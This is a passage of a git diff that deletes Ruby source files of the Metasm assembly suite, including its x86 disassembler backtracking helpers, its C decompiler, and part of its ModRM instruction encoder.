funcs that depend on us are solved - dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) - end - else - if off.kind_of? ::Integer and dasm.decoded[calladdr] - puts "autostackoffset: found #{off-@size/8} for #{dasm.decoded[calladdr]}" if $VERBOSE - di = dasm.decoded[calladdr] - di.comment.delete_if { |c| c =~ /^stackoff=/ } if di.comment - di.add_comment "stackoff=#{off-@size/8}" - @dasm_func_default_off[[dasm, calladdr]] = off - - dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) - elsif cachedoff = @dasm_func_default_off[[dasm, calladdr]] - bind[esp] = Expression[esp, :+, cachedoff] - elsif off.kind_of? ::Integer - dasm.decoded[calladdr].add_comment "stackoff=#{off-@size/8}" - end - - puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace - end - - bind - } - end - - # the :default backtracked_for callback - # returns empty unless funcaddr is not default or calladdr is a call or a jmp - def disassembler_default_btfor_callback - lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default; btfor - elsif di = dasm.decoded[calladdr] and (di.opcode.name == 'call' or di.opcode.name == 'jmp'); btfor - else [] - end - } - end - - # returns a DecodedFunction suitable for :default - # uses disassembler_default_bt{for/bind}_callback - def disassembler_default_func - esp = register_symbols[4] - cp = new_cparser - cp.parse 'void stdfunc(void);' - f = decode_c_function_prototype(cp, 'stdfunc', :default) - f.backtrace_binding[esp] = Expression[esp, :+, :unknown] - f.btbind_callback = disassembler_default_btbind_callback - f.btfor_callback = disassembler_default_btfor_callback - f - end - - # returns a hash { :retval => r, :changed => [] } - def abi_funcall - { :retval => register_symbols[0], :changed => register_symbols[0, 3] } - end - - - # computes the binding of the sequence of code starting at entry included - # the binding is a hash showing the value of modified elements at the - # end of the code sequence, relative to their value at entry - # the elements are all the registers and the memory written to - # if finish is nil, the binding will include :ip, which is the address - # to be executed next (if it exists) - # the binding will not include memory access from subfunctions - # entry should be an entrypoint of the disassembler if finish is nil - # the code sequence must have only one end, with no to_normal - def code_binding(dasm, entry, finish=nil) - entry = dasm.normalize(entry) - finish = dasm.normalize(finish) if finish - lastdi = nil - binding = {} - bt = lambda { |from, expr, inc_start| - ret = dasm.backtrace(Expression[expr], from, :snapshot_addr => entry, :include_start => inc_start) - ret.length == 1 ? ret.first : Expression::Unknown - } - - # walk blocks, search for finish, scan memory writes - todo = [entry] - done = [Expression::Unknown] - while addr = todo.pop - addr = dasm.normalize(addr) - next if done.include? addr or addr == finish or not dasm.decoded[addr].kind_of? DecodedInstruction - done << addr - b = dasm.decoded[addr].block - - next if b.list.find { |di| - a = di.address - if a == finish - lastdi = b.list[b.list.index(di) - 1] - true - else - # check writes from the instruction - get_xrefs_w(dasm, di).each { |waddr, len| - # we want the ptr expressed with reg values at entry - ptr = bt[a, waddr, false] - binding[Indirection[ptr, len, a]] = bt[a, Indirection[waddr, len, a], true] - } - false - end - } - - hasnext = false - b.each_to_samefunc(dasm) { |t| - hasnext = true - if t == finish - lastdi = b.list.last - else - todo << t - end - } - - # check end of sequence - if not hasnext - raise "two-ended code_binding #{lastdi} & #{b.list.last}" if lastdi - lastdi = b.list.last - if lastdi.opcode.props[:setip] - e = get_xrefs_x(dasm, lastdi) - raise 'bad code_binding ending' if e.to_a.length != 1 or not lastdi.opcode.props[:stopexec] - binding[:ip] = bt[lastdi.address, e.first, false] - elsif not lastdi.opcode.props[:stopexec] - binding[:ip] = lastdi.next_addr - end - end - end - binding.delete_if { |k, v| Expression[k] == Expression[v] } - - # add register binding - raise "no code_binding end" if not lastdi and not finish - register_symbols.each { |reg| - val = - if lastdi; bt[lastdi.address, reg, true] - else bt[finish, reg, false] - end - next if val == Expression[reg] - mask = 0xffff_ffff # dont use 1<<@size, because 16bit code may use e.g. edi (through opszoverride) - mask = 0xffff_ffff_ffff_ffff if @size == 64 - val = Expression[val, :&, mask].reduce - binding[reg] = Expression[val] - } - - binding - end -end -end diff --git a/lib/metasm/metasm/ia32/decompile.rb b/lib/metasm/metasm/ia32/decompile.rb deleted file mode 100644 index dd2dad6e88..0000000000 --- a/lib/metasm/metasm/ia32/decompile.rb +++ /dev/null @@ -1,564 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ia32/main' - -module Metasm -class Ia32 - # temporarily setup dasm.address_binding so that backtracking - # stack-related offsets resolve in :frameptr (relative to func start) - def decompile_makestackvars(dasm, funcstart, blocks) - oldfuncbd = dasm.address_binding[funcstart] - dasm.address_binding[funcstart] = { :esp => :frameptr } # this would suffice, the rest here is just optimisation - - patched_binding = [funcstart] # list of addresses to cleanup later - ebp_frame = true - - # pretrace esp and ebp for each function block (cleared later) - # TODO with more than 1 unknown __stdcall ext func per path, esp -> unknown, which makes very ugly C (*esp-- = 12...); add heuristics ? - blocks.each { |block| - blockstart = block.address - if not dasm.address_binding[blockstart] - patched_binding << blockstart - dasm.address_binding[blockstart] = {} - foo = dasm.backtrace(:esp, blockstart, :snapshot_addr => funcstart) - if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) - dasm.address_binding[blockstart][:esp] = ee - end - if ebp_frame - foo = dasm.backtrace(:ebp, blockstart, :snapshot_addr => funcstart) - if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) - dasm.address_binding[blockstart][:ebp] = ee - else - ebp_frame = false # func does not use ebp as frame ptr, no need to bt for later blocks - end - end - end - - yield block - } - - ensure - patched_binding.each { |a| dasm.address_binding.delete a } - dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd - end - - # list variable dependency for each block, remove useless writes - # returns { blockaddr => [list of vars that are needed by a following block] } - def decompile_func_finddeps(dcmp, blocks, func) - deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs - - # find read/writes by each block - blocks.each { |b, to| - deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to - deps_subfunc[b] = [] - - blk = dcmp.dasm.decoded[b].block - blk.list.each { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - - deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] - deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - } - stackoff = nil - blk.each_to_normal { |t| - t = dcmp.backtrace_target(t, blk.list.last.address) - next if not t = dcmp.c_parser.toplevel.symbol[t] - t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. - stackoff ||= Expression[dcmp.dasm.backtrace(:esp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :esp].reduce - - # things that are needed by the subfunction - if t.has_attribute('fastcall') - a = t.type.args.to_a - dep = [:ecx, :edx] - dep.shift if not a[0] or a[0].has_attribute('unused') - dep.pop if not a[1] or a[1].has_attribute('unused') - deps_subfunc[b] |= dep - end - t.type.args.to_a.each { |arg| - if reg = arg.has_attribute('register') - deps_subfunc[b] |= [reg.to_sym] - end - } - } - if stackoff # last block instr == subfunction call - deps_r[b] |= deps_subfunc[b] - deps_w[b] - deps_w[b] |= [:eax, :ecx, :edx] # standard ABI - end - } - - - bt = blocks.transpose - roots = bt[0] - bt[1].flatten # XXX jmp 1stblock ? - - # find regs read and never written (must have been set by caller and are part of the func ABI) - uninitialized = lambda { |b, r, done| - if not deps_r[b] - elsif deps_r[b].include?(r) - blk = dcmp.dasm.decoded[b].block - bw = [] - rdi = blk.list.find { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - - next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r - bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - false - } - if r == :eax and (rdi || blk.list.last).opcode.name == 'ret' - func.type.type = C::BaseType.new(:void) - false - elsif rdi and rdi.backtrace_binding[r] - false # mov al, 42 ; ret -> don't regarg eax - else - true - end - elsif deps_w[b].include?(r) - else - done << b - (deps_to[b] - done).find { |tb| uninitialized[tb, r, done] } - end - } - - regargs = [] - register_symbols.each { |r| - if roots.find { |root| uninitialized[root, r, []] } - regargs << r - end - } - - # TODO honor user-defined prototype if available (eg no, really, eax is not read in this function returning al) - regargs.sort_by { |r| r.to_s }.each { |r| - a = C::Variable.new(r.to_s, C::BaseType.new(:int, :unsigned)) - a.add_attribute("register(#{r})") - func.type.args << a - } - - # remove writes from a block if no following block read the value - dw = {} - deps_w.each { |b, deps| - dw[b] = deps.reject { |dep| - ret = true - done = [] - todo = deps_to[b].dup - while a = todo.pop - next if done.include? a - done << a - if not deps_r[a] or deps_r[a].include? dep - ret = false - break - elsif not deps_w[a].include? dep - todo.concat deps_to[a] - end - end - ret - } - } - - dw - end - - def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) - scope = func.initializer - func.type.args.each { |a| scope.symbol[a.name] = a } - stmts = scope.statements - blocks_toclean = myblocks.dup - func_entry = myblocks.first[0] - until myblocks.empty? - b, to = myblocks.shift - if l = dcmp.dasm.get_label_at(b) - stmts << C::Label.new(l) - end - - # list of assignments [[dest reg, expr assigned]] - ops = [] - # reg binding (reg => value, values.externals = regs at block start) - binding = {} - # Expr => CExpr - ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } - # Expr => Expr.bind(binding) => CExpr - ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } - - # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) - commit = lambda { - deps[b].map { |k| - [k, ops.rindex(ops.reverse.find { |r, v| r == k })] - }.sort_by { |k, i| i.to_i }.each { |k, i| - next if not i or not binding[k] - e = k - final = [] - ops[0..i].reverse_each { |r, v| - final << r if not v - e = Expression[e].bind(r => v).reduce if not final.include? r - } - ops[i][1] = nil - binding.delete k - stmts << ce[k, :'=', e] if k != e - } - } - - # returns an array to use as funcall arguments - get_func_args = lambda { |di, f| - # XXX see remarks in #finddeps - bt = dcmp.dasm.backtrace(:esp, di.address, :snapshot_addr => func_entry, :include_start => true) - stackoff = Expression[[bt, :+, @size/8], :-, :esp].bind(:esp => :frameptr).reduce rescue nil - args_todo = f.type.args.to_a.dup - args = [] - if f.has_attribute('fastcall') # XXX DRY - if a = args_todo.shift - mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 - mask = 0 if a.has_attribute('unused') - args << Expression[:ecx, :&, mask] - end - if a = args_todo.shift - mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 # char => dl - mask = 0 if a.has_attribute('unused') - args << Expression[:edx, :&, mask] - end - end - args_todo.each { |a_| - if r = a_.has_attribute_var('register') - args << Expression[r.to_sym] - elsif stackoff.kind_of? Integer - args << Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += [dcmp.sizeof(a_), @size/8].max - else - args << Expression[0] - end - } - - if f.type.varargs and f.type.args.last.type.pointer? and stackoff.kind_of? Integer - # check if last arg is a fmtstring - bt = dcmp.dasm.backtrace(args.last, di.address, :snapshot_addr => func_entry, :include_start => true) - if bt.length == 1 and s = dcmp.dasm.get_section_at(bt.first) - fmt = s[0].read(512) - fmt = fmt.unpack('v*').pack('C*') if dcmp.sizeof(f.type.args.last.type.untypedef.type) == 2 - if fmt.index(?\0) - fmt = fmt[0...fmt.index(?\0)] - fmt.gsub('%%', '').count('%').times { # XXX %.*s etc.. - args << Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += @size/8 - } - end - end - end - - args.map { |e| ceb[e] } - } - - # go ! - dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| - a = di.instruction.args - if di.opcode.props[:setip] and not di.opcode.props[:stopexec] - # conditional jump - commit[] - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - if di.opcode.name =~ /^loop(.+)?/ - cx = C::CExpression[:'--', ceb[:ecx]] - cc = $1 ? C::CExpression[cx, :'&&', ceb[decode_cc_to_expr($1)]] : cx - else - cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] - end - # XXX switch/indirect/multiple jmp - stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) - to.delete dcmp.dasm.normalize(n) - next - end - - if di.opcode.name == 'mov' - # mov cr0 etc - a1, a2 = di.instruction.args - case a1 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg - sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32 - if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] - dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});") - end - f = dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] - a2 = a2.symbolic(di) - a2 = [a2, :&, 0xffff] if sz == 16 - stmts << C::CExpression.new(f, :funcall, [ceb[a2]], f.type.type) - next - end - case a2 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg - if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] - sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32 - dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);") - end - f = dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] - t = f.type.type - binding.delete a1.symbolic(di) - stmts << C::CExpression.new(ce[a1.symbolic(di)], :'=', C::CExpression.new(f, :funcall, [], t), t) - next - end - end - - case di.opcode.name - when 'ret' - commit[] - ret = nil - ret = C::CExpression[ceb[:eax]] unless func.type.type.kind_of? C::BaseType and func.type.type.name == :void - stmts << C::Return.new(ret) - when 'call' # :saveip - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - args = [] - if f = dcmp.c_parser.toplevel.symbol[n] and f.type.kind_of? C::Function and f.type.args - args = get_func_args[di, f] - elsif defined? @dasm_func_default_off and o = @dasm_func_default_off[[dcmp.dasm, di.address]] and o.kind_of? Integer and o > @size/8 - f = C::Variable.new - f.type = C::Function.new(C::BaseType.new(:int), []) - ((o/(@size/8))-1).times { f.type.args << C::Variable.new(nil,C::BaseType.new(:int)) } - args = get_func_args[di, f] - end - commit[] - #next if not di.block.to_subfuncret - - if not n.kind_of? ::String or (f and not f.type.kind_of? C::Function) - # indirect funcall - fptr = ceb[n] - binding.delete n - proto = C::Function.new(C::BaseType.new(:int)) - proto = f.type if f and f.type.kind_of? C::Function - f = C::CExpression[[fptr], C::Pointer.new(proto)] - elsif not f - # internal functions are predeclared, so this one is extern - f = C::Variable.new - f.name = n - f.type = C::Function.new(C::BaseType.new(:int)) - if dcmp.recurse > 0 - dcmp.c_parser.toplevel.symbol[n] = f - dcmp.c_parser.toplevel.statements << C::Declaration.new(f) - end - end - commit[] - binding.delete :eax - e = C::CExpression[f, :funcall, args] - e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) - stmts << e - when 'jmp' - #if di.comment.to_a.include? 'switch' - # n = di.instruction.args.first.symbolic(di) - # fptr = ceb[n] - # binding.delete n - # commit[] - # sw = C::Switch.new(fptr, C::Block.new(scope)) - # di.block.to_normal.to_a.each { |addr| - # addr = dcmp.dasm.normalize addr - # to.delete addr - # next if not l = dcmp.dasm.get_label_at(addr) - # sw.body.statements << C::Goto.new(l) - # } - # stmts << sw - a = di.instruction.args.first - if a.kind_of? Expression - elsif not a.respond_to? :symbolic - stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) - else - n = di.instruction.args.first.symbolic(di) - fptr = ceb[n] - binding.delete n - commit[] - if fptr.kind_of? C::CExpression and fptr.type.pointer? and fptr.type.untypedef.type.kind_of? C::Function - proto = fptr.type.untypedef.type - args = get_func_args[di, fptr.type] - else - proto = C::Function.new(C::BaseType.new(:void)) - fptr = C::CExpression[[fptr], C::Pointer.new(proto)] - args = [] - end - ret = C::Return.new(C::CExpression[fptr, :funcall, args]) - class << ret ; attr_accessor :from_instr end - ret.from_instr = di - stmts << ret - to = [] - end - when 'lgdt' - if not dcmp.c_parser.toplevel.struct['segment_descriptor'] - dcmp.c_parser.parse('struct segment_descriptor { __int16 limit; __int16 base0_16; __int8 base16_24; __int8 flags1; __int8 flags2_limit_16_20; __int8 base24_32; };') - dcmp.c_parser.parse('struct segment_table { __int16 size; struct segment_descriptor *table; } __attribute__((pack(2)));') - end - if not dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'] - dcmp.c_parser.parse('void intrinsic_lgdt(struct segment_table *);') - end - # need a way to transform arg => :frameptr+12 - arg = di.backtrace_binding.keys.grep(Indirection).first.pointer - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'lidt' - if not dcmp.c_parser.toplevel.struct['interrupt_descriptor'] - dcmp.c_parser.parse('struct interrupt_descriptor { __int16 offset0_16; __int16 segment; __int16 flags; __int16 offset16_32; };') - dcmp.c_parser.parse('struct interrupt_table { __int16 size; struct interrupt_descriptor *table; } __attribute__((pack(2)));') - end - if not dcmp.c_parser.toplevel.symbol['intrinsic_lidt'] - dcmp.c_parser.parse('void intrinsic_lidt(struct interrupt_table *);') - end - arg = di.backtrace_binding.keys.grep(Indirection).first.pointer - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lidt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'ltr', 'lldt' - if not dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"] - dcmp.c_parser.parse("void intrinsic_#{di.opcode.name}(int);") - end - arg = di.backtrace_binding.keys.first - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'out' - sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz - if not dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"] - dcmp.c_parser.parse("void intrinsic_out#{sz}(unsigned short port, __int#{sz} value);") - end - port = di.instruction.args.grep(Expression).first || :edx - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"], :funcall, [ceb[port], ceb[:eax]], C::BaseType.new(:void)) - when 'in' - sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz - if not dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] - dcmp.c_parser.parse("__int#{sz} intrinsic_in#{sz}(unsigned short port);") - end - port = di.instruction.args.grep(Expression).first || :edx - f = dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] - binding.delete :eax - stmts << C::CExpression.new(ce[:eax], :'=', C::CExpression.new(f, :funcall, [ceb[port]], f.type.type), f.type.type) - when 'sti', 'cli' - stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) - when /^(mov|sto|lod)s([bwdq])/ - op, sz = $1, $2 - commit[] - sz = { 'b' => 1, 'w' => 2, 'd' => 4, 'q' => 8 }[sz] - pt = C::Pointer.new(C::BaseType.new("__int#{sz*8}".to_sym)) - - blk = C::Block.new(scope) - case op - when 'mov' - blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', [:*, [[ceb[:esi]], pt]]] - blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] - blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] - when 'sto' - blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', ceb[:eax]] - blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] - when 'lod' - blk.statements << C::CExpression[ceb[:eax], :'=', [:*, [[ceb[:esi]], pt]]] - blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] - #when 'sca' - #when 'cmp' - end - - case (di.instruction.prefix || {})[:rep] - when nil - stmts.concat blk.statements - when 'rep' - blk.statements << C::CExpression[ceb[:ecx], :'=', [ceb[:ecx], :-, [1]]] - stmts << C::While.new(C::CExpression[ceb[:ecx]], blk) - #when 'repz' # sca/cmp only - #when 'repnz' - end - next - else - bd = get_fwdemu_binding(di) - if di.backtrace_binding[:incomplete_binding] - commit[] - stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) - else - update = {} - bd.each { |k, v| - if k.kind_of? ::Symbol and not deps[b].include? k - ops << [k, v] - update[k] = Expression[Expression[v].bind(binding).reduce] - else - stmts << ceb[k, :'=', v] - stmts.pop if stmts.last.kind_of? C::Variable # [:eflag_s, :=, :unknown].reduce - end - } - binding.update update - end - end - } - commit[] - - case to.length - when 0 - if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname - puts " block #{Expression[b]} has no to and don't end in ret" - end - when 1 - if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) - stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) - end - else - puts " block #{Expression[b]} with multiple to" - end - end - - # cleanup di.bt_binding (we set :frameptr etc in those, this may confuse the dasm) - blocks_toclean.each { |b_, to_| - dcmp.dasm.decoded[b_].block.list.each { |di| - di.backtrace_binding = nil - } - } - end - - def decompile_check_abi(dcmp, entry, func) - a = func.type.args || [] - a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') } - ra = a.map { |arg| arg.has_attribute_var('register') }.compact - if (a.length == 1 and ra == ['ecx']) or (a.length >= 2 and ra.sort == ['ecx', 'edx']) - func.add_attribute 'fastcall' - # reorder args - ecx = a.find { |arg| arg.has_attribute_var('register') == 'ecx' } - edx = a.find { |arg| arg.has_attribute_var('register') == 'edx' } - a.insert(0, a.delete(ecx)) - a.insert(1, a.delete(edx)) if edx - end - - if not f = dcmp.dasm.function[entry] or not f.return_address - #func.add_attribute 'noreturn' - else - adj = f.return_address.map { |ra_| dcmp.dasm.backtrace(:esp, ra_, :include_start => true, :stopaddr => entry) }.flatten.uniq - if adj.length == 1 and so = Expression[adj.first, :-, :esp].reduce and so.kind_of? ::Integer - argsz = a.map { |fa| - next if not fa.stackoff - (fa.stackoff + [dcmp.sizeof(fa), dcmp.c_parser.typesize[:ptr]].max-1) / dcmp.c_parser.typesize[:ptr] - }.compact.max.to_i - so /= dcmp.dasm.cpu.size/8 - so -= 1 - if so > argsz - aso = a.empty? ? 0 : a.last.stackoff.to_i + dcmp.c_parser.typesize[:ptr] - (so-argsz).times { - a << C::Variable.new(dcmp.stackoff_to_varname(aso), C::BaseType.new(:int)) - a.last.add_attribute('unused') - aso += dcmp.sizeof(a.last) - } - argsz = so - end - case so - when 0 - when argsz - func.add_attribute 'stdcall' if not func.has_attribute('fastcall') - else - func.add_attribute "stackoff:#{so*dcmp.dasm.cpu.size/8}" - end - else - func.add_attribute "breakstack:#{adj.inspect}" - end - end - end -end -end diff --git a/lib/metasm/metasm/ia32/encode.rb b/lib/metasm/metasm/ia32/encode.rb deleted file mode 100644 index 89f044e263..0000000000 --- a/lib/metasm/metasm/ia32/encode.rb +++ /dev/null @@ -1,314 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ia32/opcodes' -require 'metasm/encode' - -module Metasm -class Ia32 - class InvalidModRM < Exception ; end - class ModRM - # returns the byte representing the register encoded as modrm - # works with Reg/SimdReg - def self.encode_reg(reg, mregval = 0) - 0xc0 | (mregval << 3) | reg.val - end - - # The argument is an integer representing the 'reg' field of the mrm - # - # caller is responsible for setting the adsz - # returns an array, 1 element per possible immediate size (for un-reduce()able Expression) - def encode(reg = 0, endianness = :little) - reg = reg.val if reg.kind_of? Argument - case @adsz - when 16; encode16(reg, endianness) - when 32; encode32(reg, endianness) - end - end - - private - def encode16(reg, endianness) - if not b - # imm only - return [EncodedData.new << (6 | (reg << 3)) << @imm.encode(:u16, endianness)] - end - - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - ret = EncodedData.new - ret << - case [@b.val, (@i.val if i)] - when [3, 6], [6, 3]; 0 - when [3, 7], [7, 3]; 1 - when [5, 6], [6, 5]; 2 - when [5, 7], [7, 5]; 3 - when [6, nil]; 4 - when [7, nil]; 5 - when [5, nil] - imm ||= 0 - 6 - when [3, nil]; 7 - else raise InvalidModRM, 'invalid modrm16' - end - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - or_bits[reg << 3] - - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1 << 6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2 << 6] - [ret << Expression.encode_imm(imm, :a16, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - ret, rets = rets, ret # or_bits uses ret - or_bits[2<<6] - ret << @imm.encode(:a16, endianness) - [ret, rets] - end - else - [ret] - end - end - - def encode32(reg, endianness) - # 0 => [ [0 ], [1 ], [2 ], [3 ], [:sib ], [:i32 ], [6 ], [7 ] ], \ - # 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], \ - # 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] - # - # b => 0 1 2 3 4 5+i|i 6 7 - # i => 0 1 2 3 nil 5 6 7 - - ret = EncodedData.new << (reg << 3) - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - if not self.b and not self.i - or_bits[5] - [ret << @imm.encode(:a32, endianness)] - - elsif not self.b and self.s != 1 - # sib with no b - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 - or_bits[4] - s = {8=>3, 4=>2, 2=>1}[@s] - imm = self.imm || Expression[0] - fu = (s << 6) | (@i.val << 3) | 5 - fu = fu.chr if s >= 2 # rb1.9 encoding fix - [ret << fu << imm.encode(:a32, endianness)] - else - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - - if not self.i or (not self.b and self.s == 1) - # no sib byte (except for [esp]) - b = self.b || self.i - - or_bits[b.val] - ret << 0x24 if b.val == 4 - else - # sib - or_bits[4] - - i, b = @i, @b - b, i = i, b if @s == 1 and (i.val == 4 or b.val == 5) - - raise EncodeError, "Invalid ModRM #{self}" if i.val == 4 - - s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] - fu = (s << 6) | (i.val << 3) | b.val - fu = fu.chr if s >= 2 # rb1.9 encoding fix - ret << fu - end - - imm ||= 0 if b.val == 5 - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1<<6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2<<6] - [ret << Expression.encode_imm(imm, :a32, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - rets, ret = ret, rets # or_bits[] modifies ret directly - or_bits[2<<6] - ret << @imm.encode(:a32, endianness) - [ret, rets] - end - else - [ret] - end - end - end - end - - class Farptr - def encode(endianness, atype) - @addr.encode(atype, endianness) << @seg.encode(:u16, endianness) - end - end - - # returns all forms of the encoding of instruction i using opcode op - # program may be used to create a new label for relative jump/call - def encode_instr_op(program, i, op) - base = op.bin.dup - oi = op.args.zip(i.args) - set_field = lambda { |f, v| - v ||= 0 # ST => ST(0) - fld = op.fields[f] - base[fld[0]] |= v << fld[1] - } - - size = i.prefix[:sz] || @size - - # - # handle prefixes and bit fields - # - pfx = i.prefix.map { |k, v| - case k - when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] - when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO - end - }.compact.pack 'C*' - pfx << op.props[:needpfx] if op.props[:needpfx] - - if op.name == 'movsx' or op.name == 'movzx' - pfx << 0x66 if size == 48-i.args[0].sz - else - opsz = op.props[:argsz] - oi.each { |oa, ia| - case oa - when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm - raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz - opsz = ia.sz - end - } - pfx << 0x66 if (not op.props[:argsz] or opsz != op.props[:argsz]) and ( - (opsz and size == 48 - opsz) or (op.props[:opsz] and op.props[:opsz] != size)) - if op.props[:opsz] and size == 48 - op.props[:opsz] - opsz = op.props[:opsz] - end - end - opsz ||= size - - if op.props[:adsz] and size == 48 - op.props[:adsz] - pfx << 0x67 - adsz = 48 - size - end - adsz ||= size - # addrsize override / segment override - if mrm = i.args.grep(ModRM).first - if not op.props[:adsz] and ((mrm.b and mrm.b.sz != adsz) or 